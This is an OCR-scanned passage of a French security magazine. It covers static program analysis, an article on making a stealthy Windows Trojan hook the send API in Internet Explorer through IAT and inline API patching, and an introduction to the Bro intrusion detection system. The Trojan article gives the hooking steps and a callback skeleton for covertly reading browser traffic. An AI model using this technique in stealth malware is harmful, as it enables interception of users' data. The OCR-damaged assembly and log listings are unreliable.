poussent a rajouter des abstractions dans les algorithmes, ce qui
les rend moins performants.

Du lambda calcul
a l'analyse statigue

On distingue trois axes majeurs dans |'analyse statique des
programmes :
= ['analyse du flux de contréle : permet de découper les blocs
de code dans un programme ;
= |'analyse des flux de données : permet de déterminer les
interactions entre les variables ;
* |'analyse du typage : c'est la théorie des systéemes de types.

L'analyse du flux de contréle permet de découper en basic blocks
le programme étudié, dont on va paralléliser |'analyse, et ce a I'aide
d'une détection des instructions de contréle (branchements).
L'analyse des flux de données favorise a la fois I'étude des
interdépendances entre les variables, mais aussi I'étude des alias (le
fait que 2 noms différents référencent une méme variable), ce qui
complete le graphe de contréle par des annotations de contexte
renseignant sur les entrées/sorties des procedures.

De maniere génerale, les algorithmes d'analyse utilisent les methodes
dites diviser pour régner. Comme son nom l'indique, cette technique
consiste & reduire un gros probléme (comme la validation entiére
du typage d'un programme) en une liste de sous-problémes
(correspondant aux fragments de programme}, ce qui permet de
ramener l'analyse a une suite d'evaluations de petites expressions
simples, plutot que d'évaluer une grosse expression complexe qui
ne rentre dans aucun modeéle. Les régles de transformation correcte
sont alors appelées régles d'inférence.

De nos jours, la sécurité des programmes tend a se reposer sur les
verifications faites par le compilateur, mais les vieux langages comme
le C ou le C++ n'en bénéficient pas (ou peu). Ainsi, leur étude




constitue un théme de recherche i la pointe de l'actualité. I existe
des projets de recherche comme TAL (Typed Assembly Language) qui
appliquent les concepts présentes ici indépendamment du langage
source, afin de générer de l'assembleur avec des informations de
types, puis d'analyser les langages comme le C++ qui utilisent des
types génériques (les fameux templates). Le projet TAL effectue
également des transformations de flux de controle, ce qui permet
de rapprocher ['analyse du code machine aux méthodes d'analyse
des langages fonctionnels.

Comme mentionnée précédemment, il existe aussi des projets de
recherche dont les objectifs sont de faire le model checking des
programmes écrits en langage impératif comme le C. ASTREE fait
partie de ceux-la. Ce projet tire parti de |'interpretation abstraite
probabiliste (se diriger vers les travaux de David Monniaux pour
une definition exacte de I'lAP). Les limitations actuelles de ce projet
résident dans le fait que le langage analysé n'est pas du veritable C,
mais un sous-ensemble de celui-ci (par exemple, I'utilisation de
pointeurs est restreinte dans les modéles d'analyse presentes par
les publications disponibles sur la page du projet.)

En ce qui concerne le reverse engineering, la tiche est un peu plus
complexe, puisqu'il s'agit d'appliquer ces concepts d'analyse sur du
code déja génére. Ainsi il nous faut plusieurs étapes intermédiaires
avant de transformer le code machine en X calcul - ou dans une de
ses variantes - , par exemple en utilisant des algorithmes iteratifs
de flux de données. Parmi ceux-la, mentionnons |'alias analysis qui
étudie les références dans un programme pour déterminer parmi
les variables lesquelles pointent sur une méme entité. Il existe aussi
la liveness analysis, qui identifie les ensembles de possibles pour
chaque composante des instructions, et ainsi passer du programme
binaire a une forme simplifiée abstraite (par exemple la forme SSA

- Static Single Assignment - , utilisée dans les derniéres versions du
compilateur GNU en tant que representation intermédiaire) sur
laquelle nous pouvons appliquer les méthodes d'analyse des langages
fonctionnels. On pourra se reporter au livre d'Andrew Appel donne
en référence pour le détail de ces algorithmes.

Outroduction

J'espere que cette introduction fut abordable pour les
novices, et que les experts me pardonneront les raccourcis.
L'analyse de programme n'est pas une discipline
herétique ! Ces problématiques ont éte jusqu'alors surtout
étudiées par les chercheurs, et la grande majorité des
consultants industriels n'y prétent que tres peu d'attention.
Le marché actuel en serait-il moins rentable ? Certainement.
J'accueillerais volontiers toutes les remarques constructives
concernant cet article, en espérant avoir éveille votre
curiosité sur ce sujet. Pour résumer, la découverte integrale
de tout les bogues est soumise a une complexité elevee pour
laquelle les modéles tentent de trouver des descriptions
simples, et ce dans le but de réduire les ressources
nécessaires a cette analyse.

Je remercie tous les gens qui ont aidé directement ou indirectement a
I'ecriture de cet article : David Cachera, Luc Bouge, Patrick Cousot & David
Monniaux de I'Ecole Normale Superieure, mourn, slash et thor de la Mine
de Paris, de I'ENS Cachan, et de 'ECL, |es universités de Jussieu et Orsay
pour les cours online de 3e cycle en logique et en semantique, la
communaute des Epitéens du FDNC, le projet Church.

a Références

» The ASTREE Static Analyzer : http:/lwww.astree.ens.fr/

= Cours d'informatique fondamentale : http:/fwww.enseignement.polytechnique.friinformatique/IF/
= Cours de Lambda Calcul : http:/fwww.pps.jussieu.fr/~berline/Cours.html

= Modern compiler implementation in ML : http://www.cs.princeton.edu/~appel/modern/ml/
= From system F to Typed Assembly Language : http://www.cs.cornell.edu/talc/papers.htmi

= Interprétation calculatoire de la logique classique via le lambda-mu calcul et fa machine de Krivine :
http://www.pps.jussieu.frisepps/abstract/06_0209In_Laurent.html
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Cheval de Troie furtif sous Windows

APl Hooking : Uautre voie

Le précédent article [1] sur les chevaux de Troie furtifs
sous Windows abordait I’API Hooking. Ce mécanisme
indispensable a I'efficacité recherchée était expliqué au
travers d’'un exemple simple contre telnet.exe.
Cependant, la mise en oeuvre de ’API Hooking contre
une application beaucoup plus évoluée (un navigateur,
un client de messagerie...) s’avére nettement moins
triviale. Au terme de plusieurs tests, les conclusions
sont tombées : cette technique de hooking est bien
limitée. Pour offrir au cheval de Troie des capacités
nécessaires et suffisantes a ses actions et surtout a sa
furtivité, il est indispensable d’implémenter une
technique beaucoup plus fiable d’API Hooking,

Une autre voie s’ouvre alors : I’API Patching.
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Avant toute chose, cet article expose I'ensemble des problémes et
donc des limites qui ont stoppé net I'utilisation de I'API Hooking via
la modification de I'|AT (Import Address Table) appelée aussi JAT
Patching. Puis vient dans un deuxieme temps, I'explication et
lillustration de I'API Hooking par API Patching.

For Faig, preue P

Limites de UIAT Patching

A premiere vue, |'lAT Patching semble étre une technique simple a
mettre en oeuvre et somme toute trés efficace comme le montre
I'exemple avec telnet.exe. Cependant, des qu'il a fallu s'attaquer a
des applications plus complexes comme des navigateurs, la simplicité
a vite laissé place aux problémes. Afin de bien comprendre pourquoi
I'IAT Patching se trouve confrontée a des barriéres, nous allons
reprendre pas a pas un exemple concret. L'application choisie est
Internet Explorer et ['objectif reste le hooking de 'API send dans
le but d'afficher dans une fenétre (une MessageBox) le contenu des
données envoyées.

Analyse du probleme

L'application cible est donc Internet Explorer. Aprés avoir paramétré
notre petit programme d'exemple de hooking par IAT Patching [2]
pour le processus iexplore. exe, nous observons son comportement.
Premiere déception, le hooking semble avoir échoué. En effet, aucune
fenétre MessageBox n'apparait prouvant la réussite du hooking de
FAPI send que ce soit juste apres le déemarrage de IE (Internet Explorer)
ou suite au chargement d'une premiere page Web. || nous faut alors
etudier d'un peu plus pres le fonctionnement de IE.

Afin d'analyser plus finement IE nous utilisons Dependancy VWalker
[3]. Cet outil bien pratique montre que W52_32.0LL (la DLL contenant
I'API send est chargée dynamiquement et ne se situe pas, par

conséquent, dans I'lAT statique de iexplore.exe. Un profiling avec
Dependancy Walker (menu Profile puis Start Profiling) confirme
tout ¢a comme 'illustre I'ecran |. Notez que l'icdne avec une étoile
a gauche du nomWS2_32.DLL indique un chargement dynamique.

Le probleme ne vient donc pas de I'absence de WS2_32.d11 dans
I'lAT. Il reste a vérifier si le send est bien détecte (ou existe) dans
I'lAT. Pour cela, nous personnalisons notre programme en y ajoutant
quelques fonctions de debugging [4]. Des MessageBox confirment la
préesence de W52 32.d11 a plusieurs reprises dans I'IAT de IE.
Cependant, en listant 'ensemble des adresses des APIs disponibles
dans I'|AT (importées de W52-32,TLL) nous ne trouvons aucune trace
de I'adresse de send 8x74FB1BCC. La seule explication est que cette
APl est appelee dynamiquement avec GetProcAddress. Toujours a
I'aide du profiling de Dependancy Walker, nous trouvons bien un
GetProcAddress sur send (voir figure 2).
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Encore une fois, l'icéne verte avec |'étoile dans la colonne a gauche
de send illustre le chargement dynamique. Notons que cet appel se
fait non pas au démarrage de |E mais bien i la premiere connexion
a un site VWeb. Nlous avons un debut d'explication sur l'inefficacite
de cette technique de hooking, le send est charge dynamiquement
et n'est donc pas dans I'lAT du processus. Il reste a trouver une
solution a ce probleme.

Premier palliatif

La solution pour contourner ce probléeme consiste a "hooker"
GetProcAddress lors de I'appel & send. Nous aurons une fonction de
substitution & GetProcAddress qui renvoie alors |'adresse de notre
fausse API send. Une petit programme de test [5] montre bien
l'nterception de GetProcAddress sur send via I'affichage de MessageBox.
Cependant, malgré tout cela, le hooking de send ne fonctionne
toujours pas. Le probleme vient donc d'ailleurs. Nous devons aller
plus loin dans nos investigations sur IE.

Avec OllyDbg [6] nous cherchons les GetProcAddress sur send
{a I'aide de breakPoint) afin de regarder dans quel contexte cet
appel a lieu et surtout depuis ou. Notre recherche aboutit a ces
quelques lignes de code assembleur trés intéressantes :

T4FBOGRD  /PUSH DWORD RTR DS:[EAX] ¢ (ProcNamedrOrdinal = “send”

|PUSH DWORD PTR 0S:[T4FCABZC] ¢ |hModule = 7AFBABBE (WSZ_32
[CALL DWORD PTR DS:[<BKERNELIZ.GetProcAd>; \GetProchddress

|TEST EAX E&X

JE SHORT WSZ_32,74FBDG3D

A%, OWORD PTR DS:[EST+T4FCA4TR) ¢ Comparaison avec 1'adresse

ariginelie d
TdF;BE}H [JNI SHORT W52 32,74F50630

TAFBDG1A [ADD EST.4

TAFROGID |CMP. DWORD PTR DS:[ESI+T4FCBE18],0

TAFBO624 [LEA EAX,DNORD PTR DS:[ESI+T4FCOG18]

TAFBDAZA \IWZ SHORT WS2_32.74FB068A

Nous constatons juste aprés 'appel & GetProcAddress un contréle
sur le résultat (I'adresse de send), ce qui explique notre probleme.
En fait, au retour de notre fonction de substitution de GetProchddress
l'adresse de notre faux send est renvoyée en lieu et place de celle
de I'API originelle a savoir Bx74FB1BCC. Normalement, tout devrait
bien se passer, mais cette fausse adresse est détectée par la
comparaison et est considérée comme une erreur. Ceci explique
alors I'échec du send. Avec I'option Call Stack nous voyons d'ou
provient cet appel :

Lall stack of main fhread

Address  Stack Procedure / arguments Called from

B312641C. TAFADAGE  KERNEL3Z, GetProcAddress W52_32.74FRDRER
00126428 74FREEAE hMadule = T4FBEEER (WS2_32
Af126424  T4FR2AEC ProcNameOrdrdinal = “send”
08126420  74FBD3DZ  WSZ_3Z.74FBOSEF W52_32.74FRDACD

Al

70218934  WSZ_3Z2.NGAStartup NININET.78Z

499 BOOEOIGL  Reguestedversion = 181 (1.1.)
BIZG%  BEI26ACB  pHSAata = BDL2GACE

392E

Tout cela ressemble a un chargement et a une vérification de
I'ensemble des adresses des APIs de WS2 32.0LL par WSAStartup, AP
d'initialisation de W52_32.0LL. Nous avons atteint les limites de I'IAT

Patching. Notons aussi un probléme qui serait apparu méme sans
verification des adresses : nous aurions ete tres génes par la
contrainte de hooker avant le démarrage de la premiere page VWeb.
D'autant plus qu'il n'est pas rare que les internautes mettent une
page de démarrage. Il aurait donc ete difficile, voire impossible, de
hooker si celui-ci intervient trop tard.

Mais il reste tout de méme un espoir, une technique trés efficace.
Au lieu d'intercepter les appels a send, pourquoi ne pas simplement
modifier send ? La nouvelle voie nous apparait alors clairement : 'API
Patching.

API Patching

Nous venons de voir les limites de I'lAT Patching. La technique de
hooking la plus fiable semble devoir se baser sur la modification
directe de I'API d intercepter. Nous restons la encore avec le but
de hooker I'API send afin d'afficher les données envoyées au sein de
Internet Explorer.

L'API Patching consiste a remplacer les premiéres instructions de
I'API a intercepter par un saut vers notre APl de substitution (la
fonction dite callback). Tout d'abord, il est nécessaire d'injecter le
code du hook (le code qui gére toute la partie APl Hooking avec
entre autres les fonctions de substitution) dans le processus
iexplore.exe [7]. Nous remplagons donc les premieres instructions
de I'API send par un JMP vers notre callback. Ainsi, chaque fois que
send est appelée, la fonction callback s'exécute en premier. Ensuite,
le callback peut traiter I'appel, c'est-a-dire dans notre cas afficher
les données envoyees. Les schemas 3 et 4 illustrent bien cette etape.

Il ne reste alors qu'a rendre la main a I'API originale. Pour cela, une
fois la routine du callback terminée, il faut exécuter I'API send
originale. Mais nous avons écrasé les premiers octets de celle-ci,
comment restaurer son fonctionnement ? Pour ce faire, avant
d'installer le hook, nous sauvegardons les premieres instructions
de I'API (celles écrasées par le JiP) Ces instructions sont donc au
préalable copiées dans un buffer que nous appelons Zone Tampon.
A la fin de celle-ci, nous plagons un JMP vers la suite des instructions

call send

PROGRAM.EXE

400200: send
ws2_32.dll

700200: callback
HOOK

R e ]
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de 'API originale. Il suffit alors de faire un JMP directement sur la
Zone Tampon i la fin de notre callback pour que les premiéres
instructions de I'AP| soient exécutées comme avant, puis le
programme retourne ensuite vers I'APl originale pour poursuivre
un fonctionnement normal. Pour mieux comprendre le mécanisme
de la Zone Tampon, reportez-vous au schéma 5 :

L'AP| démarre par une suite d'instructions dont les 3 premiéres
occupent 6 octets :

= | octet pour le premier PUSH ;

= 2 octets pour le MOV ;

= 3 octets pour le dernier PUSH,

Lorsque notre JMP est inséré au début de I'API| (xE9 suivi par
I'adresse relative du caflback), les 5 premiers octets de I'API sont
écrases. En effet, le WP relatif prend 5 octets. La zone tampon est
donc constituée des 6 premiers octets de 'API originale (les 3
premiéres instructions), puis d'un JNP vers 'offset 6 de I'API, c'est-
a-dire la suite des instructions : MOV EAX, 01 puis X0R EAX, EAX, etc.

Dans notre exemple nous avons souvent utilisé le nombre 6. En fait,
celui-ci n'est pas fixe. |l correspond a l'offset de la premiére instruction
aprés le JMP et a I'offset dans la Zone Tampon ol nous plagons
l'instruction IMP vers I'API originale. Cet offset varie d'une APl a
l'autre. |l dépend de la taille des premiers opcodes de I'API. Calculer
I'offset du retour revient a identifier la position de la premiere
instruction dont 'offset est supérieur ou égal a 5 (longueur de notre
JMP) Mais alors comment connaitre la taille des instructions ?

Deux méthodes sont possibles :
I. Integrer dans le code un désassembleur qui calcule
automatiquement la taille des premiéres instructions ;
2. Pour chaque fonction hookée, rechercher “a la main” la
longueur des premiéres instructions, et la coder en dur.

Résumons la mise en place du hook :
1. Injection du processus a hooker ;
2. Obtention de I'adresse de I'AP| a intercepter ;
3. Sauvegarde des premiéres instructions de I'APIl avant
remplacement, dans un buffer (Zone Tampon) ;
4. Suppression de la protection contre écriture sur la page de
cette zone ;

5. Insertion d'une instruction |MP a la fin de la Zone Tampon,
pour retourner a I'AP originale ;

Figure

PROGRAM.EXE

400200: send
wSs2_32.dll

700200: callback
HOOK
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6. Remplacement des 5 premiers octets de I'API par un JHP vers
le callback (la fonction qui est appelée juste avant 'API) ;
7.Restauration des droits sur la zone mémoire, tels qu'ils étaient
au depart.

La figure 6 illustre bien le mécanisme global d'API Hooking par API
Patching ou remplacement d'instruction.

Pour finir notre explication, voici 'exemple du prototype d'une
fonction de substitution a I'API send :
int WINAPI SendHook(SOCKET s, const char FAR = buf, int len, int flags)

OWORD  ZoneTampan;
int  Result;

I/ Pre-traitement de 1 ‘appel ici..,

/{ Call de 1 “APT originale
_asm {

1
push flags
push Ten
push buf
push §
call loneTampon

mov Result, eax

// Post-traitement de 1'appel fei...

return (Result);

}

La fonction hook (le callback) doit &tre déclarée de la méme fagon
que I'API qu'elle remplace. Dans I'exemple précédent, le hook de
la fonction send aura la déclaration suivante : void WINAPI
SendHook (SOCKET s, const char FAR * buf, int len, int flags)
Certaines précautions sont a prendre dans la fonction hook, pour
ne pas géner le bon fonctionnement de I'API originale, notamment
la sauvegarde des registres au début de la fonction, et leur
restauration 2 la fin. Précisons enfin gu'il est plus prudent de faire
un CALL de la Zone Tampon qu'un JMF afin de ne pas modifier un




patructionc dad7ADY |
call send :
d Emplacesent de 1 'API :
i o0 JMP
PROGRAM.EXE 495
06 MOV EAX 01
e -
WSz 32.dll
ngUSH :
700200: ealback < EBP
HOOK  Traitement/. |03 poen tons cog
06 MP  eddr API+6 4

registre perturbant ainsi le traitement de I'AP| originale. Enfin, il est
possible d'attendre le résultat de I'appel a I'AP| originale pour
effectuer un post-traitement. Et, il est important de hooker
également I'API LoadLibraryW pour étre notifié lorsqu’une DLL est
chargée dynamiquement et pouvoir placer le hook si elle contient
des APls intéressantes (ex :W52_32.0LL) Le programme [8] est un
exemple concret du hooking de send avec de I'API Patching.

Conclusion

Cette technique d'APl Hooking reste tres efficace, cependant
elle demande beaucoup plus d'attention et de connaissance
des API hoolkées. En effet, le traitement effectué par la
fonction de substitution peut avoir des effets de bord non
maitrisés. A l'instar de la technique d'IAT Patching, le hooking
par remplacement d'instruction est bien connu et ce depuis
relativement longtemps. A titre d’exemple, nous vous
encourageons 4 jeter un oeil sur Detours [9], un excellent
travail de Microsoft Research sur cette technique.
Maintenant, la derniére étape va consister a implementer
cette technique dans notre Cheval de Troie hyper furtif mais
cela est une autre histoire.
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Bro : Un autre IDS Open-Source

Préambule

Le hasard fait que cet article fait suite a I'excellente présentation
de Pascal Malterre sur les nouveautés de Snort 2.0 [1]. Nous allons
présenter un IDS qui n'est sans doute pas aussi connu que son
illustre alter ego mais qui possede tout un tas de fonctionnalités et
possibilités intéressantes.

Quelques points a rappeler avant de rentrer dans le vif du sujet :
Nous avons deux approches principales de détection qui sont
utilisees par les IDS (elles-mémes divisées en sous-groupes) :
1. L'approche par scénario (misuse detection) :
nous recherchons sur un flux réseau certains traits
caractéristiques (comme une suite d'octets). La recherche
s'effectue par rapport a une base d’empreintes/signatures qui
refletent des types de scénarios déja connus. Corollaire de
ce mode de fonctionnement, la difficulté de détecter de
nouvelles attaques.

2. L'approche comportementale (anomaly detection) :

ou par rapport a un type de trafic, on définit une normalité
de fonctionnement et/ou une alerte est remontée dés que
le flux surveillé sort du mode opératoire défini comme
“normal”. Il est en revanche difficile de faire la part des choses
entre les alertes concernant des données anormales {un
nouveau type de flux) de celles qui concernent des flux illégaux
(une attaque).

Ces points précises, revenons donc au sujet qui aujourd’hui nous
intéresse : Bro. |l est & ranger dans la famille des NIDS (ou Network
Intrusion Detection System), son réle est de surveiller un ou plusieurs
flux réseau et de détecter non seulement des tentatives d'intrusions
mais aussi des anomalies au niveau des communications réseau.

Il s’agit 4 la base d'un projet de recherche concu et développé par
Vern Paxon de L'ICSI's Center for Internet Research (ICIR) a Berkeley.
L'étude a débuté en 1995 au LBL (Lawrence Berkeley National
Laboratory) et publiée en 1998 [2].

Dés le debut, différents axes ont été pressentis, le canevas de
développement prévu pour l'outil a été treés clair :
= il faut pouvair traiter des flux importants ;
= il ne faut pas perdre de paquets réseaux lors du traitement
de ces mémes flux ;
= les notifications d'alertes doivent étre faites en temps réel ;
= I'IDS doit étre protégé au maximum des attaques possibles
visant a le cibler ;

® il faut une séparation entre la politique de sécurité définie et
les moyens de la mettre en ceuvre.

Nous reviendrons sur ces concepts dans la suite de la présentation.

D'une maniére synthétique, l'architecture de Bro est composée d'un
premier module de “capture réseau” qui écoute le trafic {mode
“sniffer”). Il est alors remonté a un module appelé “Event Engine”,
dont les taches sont :

® reconstruire les connexions vues (TCP/UDP) ;

= créer une table d'états de connexion ;
= classer les flux par protocoles ;
® |es analyser.

Une fois cette étape effectuée, les flux sont remontés a un troisieme
module : le “Policy Layer”. Celui-ci, sous la forme de scripts écrits
dans le langage de programmation interne a Bro, permet a
I'administrateur de définir précisément comment I'IDS devra réagir
par rapport a tel ou tel type de trafic. Du fait de l'utilisation de ce
langage et des scripts, Bro n'est a classer ni dans la famille des IDS
de type "anomaly detection” ou de ceux de type “misuse detection’”,
il est a la fois un peu des deux.

Notons aussi (pour finir) gu'il peut trés bien s'utiliser en mode de
suivi de signatures réseau (les siennes propres), mais aussi avec
celles de**Snort™ via un convertisseur. Rentrons maintenant plus en
detail dans le fonctionnement de I'outil.

La partie Installation de Bro

Nous pouvons télécharger la derniére release de Bro sur le site
officiel HTTP (http:/fwww.icir.org/vern/bro.html) ou via FTP
(ftp:/iftp.ee.lbl.gov).

Bro est distribué sous la forme d'une archive Unix compressée. Rien
de particulier a signaler sur sa compilation ou son installation : c’est
le meécanisme classique du . /configure; make, éventuellement avec
le —prefix qui convient pour l'installer a I'endroit voulu.

Utilisation de Bro

Bro fonctionne via deux modes distincts, interactif ou automatique.

Le mode interactif

Il est accessible directement depuis le shefl. Lintérét est de se rendre
compte des possibilites qu'offre le langage de programmation interne
a I'outil. Il suffit de lancer Bro depuis le prompt sans lui donner de
parametres. Nous nous retrouvons a I'invite de 'interpréteur et
pouvons donc expérimenter les différentes commandes de I'IDS.
Ce mode ne permet pas d'analyser le trafic réseau, mais s'avere
bien pratique pour appréhender le langage de scripts.

Comme tout bon langage, on commence par le classique :
root@leiss bro

print « bonjour »;

D

L'exemple suivant illustre quelques possibilités du langage :
B = smip:

print 8, B > telnet;

print www.linuxmag-france.com;

qui nous donne :
25¢tep, T
§6.216.74.58




Jean-Philippe Luiggi
ip-luiggi@free.fr

La premiére ligne correspond a la premiére ligne du script : le port
de SMTP suivi de T (pour True) puisque 25 est plus grand que 23,
le port de Telnet. On affiche ensuite I'adresse IP du serveur web de
“Diamond Editions™.

D'autres exemples suivront afin de vous faire découvrir les
possibilités associées a ce langage pour la détection d'intrusion.

Mode automatifgue

Il s'agit d’utiliser Bro sur un flux réseau (en direct ou en mode
offiine). Il faut cependant |ui indiquer quoi faire et lui préciser quelles
régles charger. Deux méthodes sont disponibles :
= en spécifiant directement un fichier de définitions a charger
{bro ~/bro/myscript.broj ;
= en renseignant la variable d'environnement $BROPATH qui sert
a indiquer a I'DS ou se trouvent les “policy scripts”. |l ne reste
qu'a lancer I'IDS : root@leiat bro -1 ethd mt &
ot -i indigue l'interface réseau a surveiller, et mt représente le
nom du fichier contenant les differents handlers 4 charger (par
la directive @10ad nom_du_handler). Par exemple, voici un extrait
de mt.bro:
@load og
@Toad dns-Tookup
@load ot
@load frag
@lpad Lep
@load scan
@load weird

On notera que les différents fichiers de logs sont créés dans le
repertoire policy, chose que I'on peut modifier.

L'architecture de U'IDS

Bro est divisé en 3 niveaux principaux (Schema |} :
= le module de capture des données réseau (Packet Capture) ;
= le module de gestion événementielle (Event Engine) ;
® le module de gestion des regles (Policy Layer).

Reprenons-les un par un.

Le module “Packet Capture”

Il capture les flux a partir de la 1itpcap et les remonte au module
supérieur (Event Engine). L'utilisation de la 1ibpcap fournit les
avantages habituels :indépendance par rapport a la couche réseau,
possibilité d'analyse offline (et donc de rejeu par exemple), et filtrage
du trafic en fonction de ce qui est recherché.

Le module “Event Engine”
|| effectue une analyse générique a differents niveaux sur les flux et
génére des évenements pour le “Policy Layer' :
" au niveau des connexions :
connection_attempt, connection_finished ;

Schéma | : Design of Bro (adaptated from[Pax99])

Policy seript ‘ Real time notification

Policy Layer

Event cantrol A Evenc stream

Y

Event Engine

Packer filter ‘ Filtered packet stream

| Packet Capture |

‘ Packet stream

Y
C Network )

= au niveau applications :
ftp_request, pm_request_getport, Togin_input_line;
= au niveau activite :
Togin_success, stepping_stone [6], ssh_signature found.

Dans ce module, qui est le cceur du systéme, plusieurs taches vont
étre effectuees :
= |e contréle d'intégrité afin de s'assurer que les headers réseau
sont valides (checksum IP, etc.).Si un des tests echoue, une alerte
est générée et le paquet est rejete [3] ;
= |e ré-assemblage des fragments IP afin de pouvoir analyser un
datagramme complet ;
= |'analyse des flux a différents niveaux. Signalons que ce module
est neutre d'un point de vue traitements et analyses. Il ne prend
aucune décision et ne fait que générer des évenements.

Une fois un flux identifié, un “event” est créé et remonté au module
supérieur (il est 2 noter que cette gestion des évenements est le
point central de la détection d'intrusion, un événement étant une
forme abstraite et de haut niveau representative du flux réseau
capture).

Par exemple, I'événement “connection-established" est génére
chague fois que Bro voit un “three-way-TCP-handshake™ reussi.
Une autre fonction de “'Event Engine” est l'identification des flux
circulants sur le réseau : définir les états de connexion pour chaque
paquets (qui fait partie de quoi 7).

Pour I'IDS, chaque paquet qui passe fait partie d'une connexion. En
conséquence de quoi, il va soit créer, soit mettre a jour une table
d'états reflétant le trafic. Pour les flux de type TCP, pas de probleme
vu que le modele est déja a états. Pour UDP (non connecté), Bro
utilise le raisonnement suivant. Si un héte A envoie un paquet UDP
vers un hdte B avec un port source pA et un port destination pB,
alors Bro considére que A a initié une requéte vers B et établi un
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etat de type "pseudo” connexion pour cette requéte. Si ensuite B
envoie un paquet UDP vers A avec en port source pB et port
destination pA, Bro considére le paquet comme une réponse a la
requéte et “valide” une connexion entre les deux systémes. Nous
avons la une suite de requétes et de réponses ; Nous ne pouvons
pas prédire lorsqu’une connexion se termine, Bro garde I'etat
indéfiniment (il n'y a pas de notions de “time out"). Enfin, pour ICMP,
Bro crée une connexion la premiére fois qu'il voit un paquet ICMP
allant de A vers B, méme si B a envoyé auparavant des données vers
A (elles pouvaient étre d’'une ancienne connexion).

Effectuer une analyse au niveau transport (gestion et
suivi des états de connexion)

Les analyseurs applicatifs definis au niveau du “Policy Layer” ont
besoin d’'avoir une vue du “payload” tel que transmis par les deux
parties de la connexion. Ceci implique que Bro doit pouvoir tracer
des flux TCP/UDP/ICMP, et dans le cas précis de TCP, suivre les
différents états de la session, garder trace des acquittements, gérer
les retransmissions, etc.

e Exemple de suivi de connexions.:

1085661367.475252 0. 167767 192.168.1.138 195,164,195, 154 http 2670 8@ tep 379 222 SF &
1065661884, 521089 165.677 192,168.1.175 194.39.131.18 https 1263 443 tep 11322 1950 SF X
1065661689, 183553 7 192.166.1.138 18.28.6.18 other 2554 1352 tep 7 7 5O X

1885661949, 218532 25,5132 192.168.1.138 195.167.194.50 http 2665 8F tcp 4823 7 RSTO X
Dans I'ordre, on trouve le temps de départ, la durée du protocole,
les nombres d'octects provenant respectivernent de la source et
de la destination, |'adresse locale puis distante, etc. Les drapeaux
situes en fin sont expliqués dans le Tableau |, page suivante.

Analyse protocolaire

A ce niveay, il faut avoir connaissance du mode de fonctionnement
de chacun des protocoles a suivre. Bro gere HTTP, SMTP. DINS,
TELNET, RLOGIN, etc. (la liste est en perpetuelle évolution) via
différents handlers. Ceux-ci font une analyse detaillée du flux de
donnees et, pour chague protocole reconnu, envoient des “events”
au module “Policy Layer”. Ces événements permettent :

. d'effe_ctu_er un decodage applicatif :

= de prevenir sur des anomalies de fonctionnement ;

= de faire une recherche par signatures réseau ;

= d'analyser les connexions ;

® de detecter des "backdoors™ [7].

L'Analyseur HTTP
Il permet de décoder les flux éponymes (RFC1945 RFC2616),
version 1.0 et |.1. Bro lance cet analyseur dés qu'une connexion
sur le port 80/TCP est vue. De par le mode de suivi des états
qu'utilise I'IDS, celui-ci travaille sur les deux cotés de la connexion
(client et serveur).

Cote client, il génere un événement pour chaque requéte, fournit
des informations sur la connexion (URI, méthode HTTP..). Coté
serveur, la réponse est analysée et divisée en différentes parties :
header, composants MIME.

o Exemple de capture HTTP :
12:18:11 %13 start 192.168.22.12 » 192.168.22.13
2018:11 513 nEml fdoc/policy., hami

12:18;12 %13 m foifs/top.aif

12:16:12 31 /heml /gifs/bottom. i f

3
3 BE

L'Analyseur FTP

Ce processeur gére le protocole FTP (RFC959) dés qu'une
connexion sur le port 2|/TCP est présente. || crée un recapitulacf
des sessions, recherche des noms d'utilisateurs sensibles, les
tentatives d'accés aux fichiers critiques, ou I'hote spéecifie par une
commande PORT ou PASY (attaques dites "Bounce FTP"). L'acces aux
fichiers est aussi tracé.

e Exemple de logs FTP :
1884438564, 725778 #] 18.22.6 1
| 384430506, 982813 #] re
Installation) [snoc.t
18844385 1 fi
1884448175 . 277602 #2
1384440175, 348422 =2
initiate transfer)
84440175, 363351 #2 SYST (215 UNIX Type: LBI
10E4440175.3 #Z PHD (done)

10844401808, 325796 #2 PORT 134,28,12,12,7,143 (ok)
1084440180, 338014 #2 TYPE A (ok

1084440180, 349641 #2 LIST (complete)

1084440227 946738 #3 finish

ra

L'Analyseur SMTP

Les sessions sont disséquées et les commandes suivies au niveau
de la cohérence. Pour les messages transmis, il va extraire a la fois
I'enveloppe mais aussi la partie RFC822.

L'Analyseur “login”
Il inspecte les sessions interactives, surveille ce que tape ['utilisateur
et ce que réepond le serveur. Pour le moment, Bro suit les sessions

de type “telnet”,“rlogin™ mais avec 'utilisation de scripts idoines,
rien ne 'empéche de travailler sur des flux SSH, X1 1.

Un intrus tente lors d'une compromission d'une machine d'effectuer
différentes taches : devenir root, acceder a des fichiers sensibles,
etc. Nous avons la un analyseur tres intéressant pour détecter ce
genre de choses (nous allons pouvoir vérifier 'utilisation de certaines
commandes et renvoyer une alerte le cas écheant).

Dans I'exemple suivant, nous considérons le cas de l'utilisateur foo.
e Exemple de log avec I'analyseur *“login’ :

Connexion de l'utilisateur foo :

1884374902 .441742 254,377 telnet 324 88U 1.2.3.4 5.6.7.8 5F L “foo”

Erreur de connexion :

1084374902, 441742 254,377 telnet 324 8891 1.2.3.4 5.6.7.8 5F L fail/foo

Echec avec foo, réussite avec jim:
1BR4374902. 441 254,377 telmet 324 8BS1 1.2.1

Analyseur DNS

Ce module permet a Bro de "mapper" les adresses IP a des noms
de machine. Un lockup DNS consiste généralement en une requéte
et une réponse, I'analyseur effectue une corrélation entre les deux
et la fournit ensuite a son handler. Le script par defaut gére les
différents types de messages DNS, logue certaines informations et
cherche des incohérences.

e Exemple de logs DNS :
1884377642.912781 #1 18.22.53.
# 1 3,204 7PTR 18,22.41.1 anubis <TTL
ded = anubis <TTL = 900, 63DREE>
lios ¥sry

792 #2 18.22.53.228/32864 > 18.1.2,3/dns start

9. peaead>
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Tableau |

Description des drapeaux décrivant une connexion

Symbole Nom Signification

Analyseur de scan réseau

Une attague commence souvent par une reconnaissance de
I'environnement cible. Une des méthodes est le scan de ports réseau
afin de se rendre compte des services disponibles.

Grice au suivi de connexion, Bro détecte facilement ces scans, qu'ils
soient verticaux (hombre de tentatives d’acces sur des ports
différents pour chacun des hosts) ou horizontaux (nombre de
tentatives de connexions sur chaque port pour un ensemble de
hosts). Le module par défaut est “scan.bro”. Un module
supplémentaire (“trw.bro”) fondé sur I'algorithme “Threshold
Random Walk" (de Jung et al. ) est aussi disponible.

o Exemple de log de “scan” :

1084374902 441742 TRWAddressScan 132, 168,249.20 scanned a total of 4 hosts
